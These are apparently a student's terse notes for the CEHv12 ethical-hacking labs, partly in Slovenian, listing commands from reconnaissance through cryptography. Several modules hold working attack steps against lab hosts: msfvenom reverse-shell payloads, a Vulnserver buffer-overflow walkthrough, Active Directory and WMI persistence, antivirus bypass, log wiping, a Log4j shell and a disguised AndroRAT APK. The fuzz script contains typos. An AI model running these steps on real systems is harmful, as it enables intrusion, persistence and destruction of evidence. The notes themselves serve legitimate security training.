CEHv12 LAB

M02

Module 02: Footprinting and Reconnaissance

Lab1

Lab 1: Perform Footprinting Through Search Engines

Task 1: Gather Information using Advanced Google Hacking Techniques

google.com
intitle:login site:eccouncil.org
EC-Council filetype:pdf

cache:
allinurl:
inurl:
allintitle:
inachor:
allinanchor:
link:
related:
info:
location:

Lab2

Lab 2: Perform Footprinting Through Web Services

Task 1: Find the Company's Domains and Sub-domains using Netcraft

https://www.netcraft.com
https://sitereport.netcraft.com/

Lab3

Lab 3: Perform Footprinting Through Social Networking Sites

Task 1: Gather Employees' Information from LinkedIn using theHarvester

> theHarvester -d 24ur.com -l 200 -b linkedin

Task 2: Gather Information of f Target Website using Photon

> photon.py -u http://www.certifiedhacker.com
> photon.py -u http://www.certifiedhacker.com -l 3 -t 200 --wayback

Lab4

Lab 4: Perform Website Footprinting

Task 4: Mirror a Target Website using HTTrack Web Site Copier

> HTTrack Web Site Copier

Task 6: Gather Information About a Target Website using GRecon

> python grecon.py
> certifiedhacker.com

Task 7: Gather a Wordlist from the Target Website using CeWL

> cewl -d 2 -m 5 www.certifiedhacker.com
> cewl -d 2 -m 5 www.certifiedhacker.com -w wordlist.txt

Lab5

Lab 5: Perform Email Footprinting

Task 1: Gather Information about a Target by Tracing Emails using eMailTrackerPro

> eMailTrackerPro

Lab6

Lab 6: Perform Whois footprinting

Task 1: Perform Whois Lookup using DomainTools

http://whois.domaintools.com

Lab7

Lab 7: Perform DNS Footprinting

Task 2: Perform Reverse DNS Lookup using Reverse IP Domain Check and DNSRecon

> ./dnsrecon.py -r 162.241.216.0-162.241.216.255

Task 3: Gather Information of Subdomain and DNS Records using SecurityTrails

https://securitytrails.com

Lab8

Lab 8: Perform Network Footprinting

Task 2: Perform Network Tracerouting in Windows and Linux Machines

> tracert www.certifiedhacker.com
> tracert -h 5 www.certifiedhacker.com

-h max hops

> traceroute www.certifiedhacker.com

Lab9

Lab 9: Perform Footprinting using Various Footprinting Tools

Task 1: Footprinting a Target using Recon-ng

> recon-ng
> marketplace install all
> modules search
> workspaces crete ceh
> db insert domains
> show domains
> modules load recon/domains-hosts/brute_hosts
> run
> back
> modules load recon/domains-hosts/bing_domain_web
> run
> back
> modules load recon/hosts-hosts/reverse_resolve
> run
> modules load reporting/html
> options set FILENAME results.html

> options set CREATOR parrot
> options set CUSTOMER CH
> run

> recon-ng
> workspace create recon
> db insert domains
> modules load recon/domains-contacts/whois_pocs
> info command
> options set SOURCE facebook.com
> run
> modules load recon/profiles-profiles/profiler
> options set source markzuckerberg
> run
> modules load reporting/html
> options set FILENAME results.html
> options set CREATOR parrot
> options set CUSTOMER mark

M03

Module 03: Scanning Networks

Lab1

Lab 1: Perform Host Discovery

Task 1: Perform Host Discovery using Nmap

> Zenmap

> nmap -sn -PR 10.0.2.15
> nmap -sn -PU 10.0.2.15
> nmap -sn -PE 10.0.2.15
> nmap -sn -PE 10.0.2.1-255

-PR Ping Arp scan
-PU Ping Udp scan
-PE Ping ICMP echo scan
-PP Timestamp
-PM

-PS TCP Syn ping
-PA ACK ping
-PO protocol scan

Lab2

Lab 2: Perform Port and Service Discovery

Task 4: Explore Various Network Scanning Techniques using Nmap

> Zenmap

> nmap -sT -v 10.10.10.16
> nmap -sS -v 10.10.10.16
> nmap -sX -v 10.10.10.16
> nmap -sM -v 10.10.10.16
> nmap -sA -v 10.10.10.16
> nmap -sU -v 10.10.10.16

Lab3

Lab 3: Perform OS Discovery

Task 2: Perform OS Discovery using Nmap Script Engine (NSE)

> Zenmap

> nmap --script smb-os-discovery.nse 10.10.10.16

Lab4

Lab 4: Scan beyond IDS and Firewall

Task 1: Scan beyond IDS/Firewall using various Evasion Techniques

> nmap -f 10.10.10.10
> nmap -g 80 10.10.10.10

-g source port

> nmap -mtu 8 10.10.10.10
> nmap -D RND:10 10.10.10.10
> nmap -sT -Pn --spoof-mac 0 10.10.10.10

-mac 0 random mac

Task 3: Create Custom UDP and TCP Packets using Hping3 to Scan beyond IDS/Firewall

> hping3 10.10.10.10 --udp --rand-source --data 500

-rand-source random source (spoof IP) mode
-data packet body size
-udp udp packets

> hping3 -S 10.10.10.10 -p 80 -c 5

-S SYN request

> hping3 10.10.10.10 --flood

Lab5

Lab 5: Perform Network Scanning using Various Scanning Tools

Task 1: Scan a Target Network using Metasploit

> service postgresql start
> msfconsole
> db_status
> exit
> msfdb init
> service postgresql restart
> msfconsole
> db_status
> nmap -Pn -sS -A -oX Test 10.10.10.0/24
> db_import Test
> hosts
> services
> search portscan
> use 4
> set interface eth0
> set ports 80
> set rhosts 10.10.10.5-20
> set threads 50
> run
> use auxiliary/scanner/portscan/tcp
> hosts -R
> run

M04

Module 04: Enumeration

Lab1

Lab 1: Perform NetBIOS Enumeration

Task 1: Perform NetBIOS Enumeration using Windows Command-Line Utilities

> nbtstat -a 10.10.10.10
> nbtstat -c
> net use

Lab2

Lab 2: Perform SNMP Enumeration

Task 3: Perform SNMP Enumeration using SnmpWalk (*)

> snmpwalk -v1 -c public 10.10.1.22
> snmpwalk -v2c -c public 10.10.1.22

> snmp-check 10.10.1.22

Lab3

Lab 3: Perform LDAP Enumeration

Task 1: Perform LDAP Enumeration using Active Directory Explorer (AD Explorer)

> ADExplorer (sysinternals)

Lab4

Lab 4: Perform NFS Enumeration

Task 1: Perform NFS Enumeration Using RPCScan and SuperEnum

> nmap -p 2049 10.10.10.19
> echo "10.10.10.19" > Target.txt
> superenum
> Target.txt

> python3 rpc-scan.py 10.10.10.19 --rpc

Lab5

Lab 5: Perform DNS Enumeration

Task 1: Perform DNS Enumeration using Zone Transfer

> dig ns www.certifiedhacker.com
> dig @ns1.bluehost.com www.certifiedhacker.com axfr

> nslookup
> set querytype=soa
> certifiedhacker.com
> ls -d certifiedhacker.com

Lab6

Lab 6: Perform SMTP Enumeration

Task 1: Perform SMTP Enumeration using Nmap

> nmap -p 25 --script=smtp-enum-users 10.10.1.19
> nmap -p 25 --script=smtp-open-relay 10.10.1.19
> nmap -p 25 --script=smtp-commands 10.10.1.19

Lab8

Lab 8: Perform Enumeration using Various Enumeration Tools

Task 1: Enumerate Information using Global Network Inventory

> Global Network Inventory

M05

Module 05: Vulnerability Analysis

Lab1

Lab 1: Perform Vulnerability Research with Vulnerability Scoring Systems and Databases

Task 1: Perform Vulnerability Research in Common Weakness Enumeration (CWE)

https://cwe.mitre.org/

Lab2

Lab 2: Perform Vulnerability Assessment using Various Vulnerability Assessment Tools

Task 1: Perform Vulnerability Analysis using OpenVAS

> Openvas - Greenbone

M06

Lab1

Lab 1: Gain Access to the System

Task 1: Perform Active Online Attack to Crack the System's Password using Responder

> sudo ./Responder.py -I eth0

save hash to file hash.txt

> sudo snap install john-the-ripper
> john hash.txt

Task 4: Exploit Client-Side Vulnerabilities and Establish a VNC Session

> msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -f exe LHOST=10.10.10.13 LPORT=444 -o /root/Test.exe
> cp Test.exe /var/www/html/share/
> msfconsole
> use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
> set lhost 10.10.10.13
> set lport 444
> run

> http://10.10.10.13/share/Test.exe

> sysinfo
> upload /root/PowerSploit/Privesc/PowerUp.ps1 PowerUp.ps1
> shell
> powershell -ExecutionPolicy Bypass -Command ". \PowerUp.ps1;Invoke-AllChecks"
> exit
> run vnc

Task 8: Perform Buffer Overflow Attack to Gain Access to a Remote System

> vulnserver
> immunity debugger

File - Attach - Vulnserver

> nc -nv 10.10.10.10 9999

HELP

stats.spk:
s_readline();

s_string(“STATS ”); (zamenjaj z komando, ki bi jo rad testiral)
s_string_variable(“0”);

> generic_send_tcp 10.10.10.10 9999 stats.spk 0 0

trun.spk
s_readline();
s_string(“TRUN ”);   (zamenjaj z komando, ki bi jo rad testiral)
s_string_variable(“0”);

> generic_send_tcp 10.10.10.10 9999 trun.spk 0 0

fuzz.py:
#!/usr/bin/python
import sys, socket
from time import sleep

buf = “A” * 100

while True:
    try:
        s = socket.socket(socket.AF_INET, socker.SOCK_STREAM)
        s.connect(('10.10.10.10', 9999))

        s.send(('TRUN /.:/' + buf))
        s.close()
        sleep(1)
        buf = buf + “A” * 100
    except:
        sys.exit()

> /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 20000

Pattern daš v buf, gledaš vrednost, ki je v EIP.

vrednost v EIP iščeš v patternu oz. offset v patternu

> /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 20000 -q 386F4337

buf = 2003 * “A” + “BBBB” + “CCCC”

badcharsi... ESP follow in dump

\x00 je 100%

!mona modules

iščemo dll ki nima nobene zaščite

JMP ESP - FFE4

Poiščemo naslov kjer leži funkcija JMP ESP,

!mona find -s “\xff\xe4” -m essfunc.dll

Naslov vnesemo (625011AF) v EIP (BBBB)
nastavimo tudi break point, da vemo če ga zadane

buf = 2003 * “A” + “\xaf\x11\x50\x62” + “CCCC”

> msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.13 LPORT=4444 EXITFUNC=thread -f c -a x86 -b “\x00”

load = ("payload") oklepaji!

Lab2

Lab 2: Perform Privilege Escalation to Gain Higher Privileges

Task 4: Escalate Privileges in Linux Machine by Exploiting Misconfigured NFS

> nmap -sV 10.10.1.9
> showmount -e 10.10.1.9
> mkdir nfs
> sudo mount -t nfs 10.10.1.9/home nfs/
> cd nfs
> sudo cp /bin/bash .
> sudo chmod +s bash

> ./bash -p

> find / -perm -400 -ls 2> /dev/null

Lab3

Lab 3: Maintain Remote Access and Hide Malicious Activities

Task 2: User System Monitoring and Surveillance using Spytech SpyAgent

> SpyAgent

Task 6: Maintain Persistence by Abusing Boot or Logon Autostart Execution

> msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.13 lport=444 -f exe > exploit.exe

> msfconsole
> use exploit/multi/handler
> set exploit windows/meterpreter/reverse_tcp
> set lhost10.10.1.13
> set lport 444
> run

> exploit.exe

> guid
> getuid
> background
> use exploit/windows/local/bypassuac_fodhelper
> set session 1
> set lhost 10.10.1.13
> set lport 4444
> set target 0
> exploit
> getsystem -t 1
> getuid
> cd “C:\\programdata\\start menu\\programs\\startuo”
> pwd

> msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.13 lport=8080 -f exe > payload.exe

> upload upload.exe

> msfconsole
> use exploit/multi/handler
> set lport 8080
> set payload windows/meterpreter/reverse_tcp
> run

> reboot win

Task 7: Maintain Domain Persistence by Exploiting Active Directory Objects

> msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.13 lport=444 -f exe > /home/attacker/Desktop/Exploit.exe

> handler...

> Exploit.exe

> upload powerview.psm1
> shell
> powershell -eq bypass
> import-module ./powerview.psm1

> Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName Martin -Verbose -Rights All
> Get-ObjectAcl -SamAccountName "Martinâ€ť -ResolveGUIDs

> REG ADD HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /V AdminSDProtectFrequency /T REG_DWORD /F /D 300

> net group “Domain Admins” Martin /add /domain

Task 8: Privilege Escalation and Maintain Persistence using WMI

> msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.13 lport=444 -f exe > /home/attacker/Desktop/Exploit.exe

> handler...

> Exploit.exe

> upload wmi-persistence-master
> load powershell
> powershell_shell
> Import-Module ./WMI-Persistence.ps1
> Install-Persistence -Trigger Startup -Payload "C:\Users\Administrator\Downloads\Exploit.exe"

Lab4

Lab 4: Clear Logs to Hide the Evidence of Compromise

Task 2: Clear Windows Machine Logs using Various Utilities

> Clear_Event_Viewer_Logs
> wevtutil el
> wevtutil cl system
> wevtutil cl security
> cipher /w:C:

Task 3: Clear Linux Machine Logs using the BASH Shell

> export HISTSIZE=0
> history -c
> history -w
> shred ~/.bash_history
> shred ~/.bash_history && cat /dev/null > .bash_history && history -c && exit

M07

Module 07: Malware Threats

Lab1

Lab 1: Gain Access to the Target System using Trojans

Task 1: Gain Control over a Victim Machine using the njRAT RAT Trojan

> njrat

create server (builder), deliver server, run server

Lab2

Lab 2: Infect the Target System using a Virus

Task 1: Create a Virus using the JPS Virus Maker Tool and Infect the Target System

> jps

Lab3

Lab 3: Perform Static Malware Analysis

Task 1: Perform Online Malware Scanning using Hybrid Analysis

https://www.hybrid-analysis.com

Task 4: Analyze ELF Executable File using Detect It Easy (DIE)

> die

Task 7: Perform Malware Disassembly using IDA and OllyDbg

> IDA
> OllyDbg

Lab4

Lab 4: Perform Dynamic Malware Analysis

Task 1: Perform Port Monitoring using TCPView and CurrPorts

> TCPView
> CurrPorts

Task 2: Perform Process Monitoring using Process Monitor

> ProcMon

M08

Module 08: Sniffing

Lab1

Lab 1: Perform Active Sniffing

Task 1: Perform MAC Flooding using macof

> wireshark

> macof -i eth0 -n 10

Task 2: Perform a DHCP Starvation Attack using Yersinia

> wireshark

> yersinia -I
> h
> q
> F2 (DHCP) ali g
> x
> 1
> q

Lab2

Lab 2: Perform Network Sniffing using Various Sniffing Tools

Task 1: Perform Password Sniffing using Wireshark

> wireshark

http://www.moviescope.com/

> http.request.method == POST

Edit, Find Packet - String, Packet details - pwd (?pass)

Lab3

Lab 3: Detect Network Sniffing

Task 1: Detect ARP Poisoning in a Switch-Based Network

> wireshark

Analyze, Expert Information - Duplicate IP?

M09

Module 09: Social Engineering

Lab1

Lab 1: Perform Social Engineering using Various Techniques

Task 1: Sniff Credentials using the Social-Engineer Toolkit (SET)

> setoolkit
> 1
> 2
> 3
> 2
> 10.10.10.13
> http://www.moviescope.com

Lab2

Lab 2: Detect a Phishing Attack

Task 1: Detect Phishing using Netcraft

netcraft plugin....

M10

Module 10: Denial-of-Service

Lab1

Lab 1: Perform DoS and DDoS Attacks using Various Techniques

Task 3: Perform a DoS Attack using Raven-storm

> sudo rst
> l4
> ip 10.10.1.19
> port 80
> threads 1000

> run

Task 4: Perform a DDoS Attack using HOIC

> hoic

M11

Module 11: Session Hijacking

Lab1

Lab 1: Perform Session Hijacking

Task 1: Hijack a Session using Zed Attack Proxy (ZAP)

Browser nastavi proxi na ip kjer bo laufal ZAP

> OWASP ZAP

Options, Local Proxies - vklopiš proxy

+ gumb, Break

Set break on all requests (red/green dot)

Browse...

Znotraj Breaka zamenjaš requeste, stepaš, vidiš responses, stepaš, vidiš reuest...

Task 3: Intercept HTTP Traffic using Hetty

nastaviš kot proxy....

Lab2

Lab 2: Detect Session Hijacking

Task 1: Detect Session Hijacking using Wireshark

> wireshark

> bettercap -iface eth0
> net.probe on
> net.recon on
> net.sniff on

M12

Module 12: Evading IDS, Firewalls, and Honeypots

Lab2

Task 1: Bypass Windows Firewall using Nmap Evasion Techniques

zombie scan
> nmap -sI 10.10.1.22 10.10.1.11

Task 2: Bypass Firewall Rules using HTTP/FTP Tunneling

> htthost.exe

isti port

> httport.exe

Task 3: Bypass Antivirus using Metasploit Templates

> msfvenom -p windows/shell_reverse_tcp lhost=10.10.1.13 lport=444 -f exe > /home/attacker/Windows.exe
> pluma /usr/share/metasploit-framework/data/templates/src/pe/exe/template.c

in the line 3 change the payload size from 4096 to 4000

> cd /usr/share/metasploit-framework/data/templates/src/pe/exe/
> i686-w64-mingw32-gcc template.c -lws2_32 -o evasion.exe
> msfvenom -p windows/shell_reverse_tcp lhost=10.10.1.13 lport=444 -x /usr/share/metasploit-framework/data/templates/src/pe/exe/evasion.exe -f exe > /home/attacker/bypass.exe

M13

Lab1

Lab 1: Footprint the Web Server

Task 1: Information Gathering using Ghost Eye

> ghost_eye.py
> 1
> 2

> 6

Task 5: Footprint a Web Server using Netcat and Telnet

> nc -vv www.moviescope.com 80
> GET / HTTP/1.0
>
>

> telnet www.moviescope.com 80
> GET / HTTP/1.0
>
>

Task 6: Enumerate Web Server Information using Nmap Scripting Engine (NSE)

> nmap -sV --script http-enum www.goodshopping.com
> nmap --script hostmap-bfk -script-args hostmap-bfk.prefix=hostmap- www.goodshopping.com
> nmap --script http-trace -d www.goodshopping.com

Lab2

Lab 2: Perform a Web Server Attack

Task 1: Crack FTP Credentials using a Dictionary Attack

> hydra -L Username.txt -P Passwords.txt ftp://10.10.10.10

M14

Module 14: Hacking Web Applications

Lab1

Lab 1: Footprint the Web Infrastructure

Task 1: Perform Web Application Reconnaissance using Nmap and Telnet

Whois lookup:
Netcraft (https://www.netcraft.com), SmartWhois (https://www.tamos.com), WHOIS Lookup (http://whois.domaintools.com), and Batch IP Converter (http://www.sabsoft.com)

DNS Interrogation:
Professional Toolset (https://tools.dnsstuff.com), DNSRecon (https://github.com), and DNS Records (https://network-tools.com), Domain Dossier (https://centralops.net)

> nmap -T4 -A -v www.moviescope.com

> telnet www.moviescope.com 80
> GET / HTTP/1.0
>
>

Task 3: Perform Web Spidering using OWASP ZAP

> zaproxy

Automated Scan,

Lab 2

Lab 2: Perform Web Application Attacks

Task 1: Perform a Brute-force Attack using Burp Suite

> burpsuite

Ujameš request, pošlješ Intruderju - cluster bomb, izbereš payload polja, zloadaš paylode, attack, opazuješ status code in length

Task 3: Identify XSS Vulnerabilities in Web Applications using PwnXSS

> python3 pwnxss.py -u http://testphp.vulnweb.com and press Enter.

Task 5: Perform Cross-site Request Forgery (CSRF) Attack

login to wp
plugins, installed plugins
leenk.me, activate

leenk.me, check facebook
facebook settings
spremeni default message, default link name, default caption, default description

https://wpscan.com/register
api token
> wpscan --api-token TOKEN --url URL --plugins-detection aggresive --enumerate vp

Task 7: Exploit a Remote Command Execution Vulnerability to Compromise a Target Web Server

command injection: ip | whoami

Task 9: Gain Access by exploiting Log4j Vulnerability

> sudo apt update
> sudo apt install docker.io
> cd log4j-shell-poc
> docker build -t log4j-shell-poc .
> docker run --network host log4j-shell-poc

> cd log4j-shell-poc
> tar -xvf jdk-8u202....gz
> mv jdk*/ /usr/bin/
> pluma poc.py

zamenjaj vrtico 62 z potko do javac
zamenjaj vrtico 87 z potko do java
zamenjaj vrtico 99 z potko do java

> nc -nlvp 9001

> python3 poc.py --userip 10.10.1.13 --webport 8000 --lport 9001

skopiraj send me v username polje serverja...

glava9999noga!

M15

Module 15: SQL Injection

M16

Module 16: Hacking Wireless Networks

Lab1

Lab 1: Perform Wireless Traffic Analysis

Task 1: Wi-Fi Packet Analysis using Wireshark

> wireshark

Odpres cap file...

Lab2

M17

Module 17: Hacking Mobile Platforms

Lab1

Lab 1: Hack Android Devices

Task 4: Exploit the Android Platform through ADB using PhoneSploit

> python3 phonesploit.py

ip address = name....

> 4
> pwd... sdcard....
> exit
> p
> b
>

Lab 5: Hack Android Devices – Task: Hack an Android Device by Creating APK File using AndroRAT

> cd AndroRAT
> python3 androRAT.py --build -i 10.10.1.13 -p 4444 -o SecUpdate.apk
> python3 androRAT.py --shell -i 0.0.0.0 -p 4444
> deviceInfo
> getSMS inbox
> getMACAddress
> exit

M18

Module 18: IoT and OT Hacking

Lab1

Lab 1: Perform Footprinting using Various Footprinting Techniques

Task 1: Gather Information using Online Footprinting Tools

https://whois.com/whois
https://exploit-db.com/google-hacking-database
https://shodan.io

M19

Module 19: Cloud Computing

Lab1

Lab 1: Perform S3 Bucket Enumeration using Various S3 Bucket Enumeration Tools

Task 2: Enumerate S3 Buckets using S3Scanner

> python3 s3scanner.py sites.txt

M20

Module 20: Cryptography

Lab1

Lab 1: Encrypt the Information using Various Cryptography Tools

Task 1: Calculate One-way Hashes using HashCalc

> hashcalc

Task 4: Perform File and Text Message Encryption using CryptoForge

> cryptoforge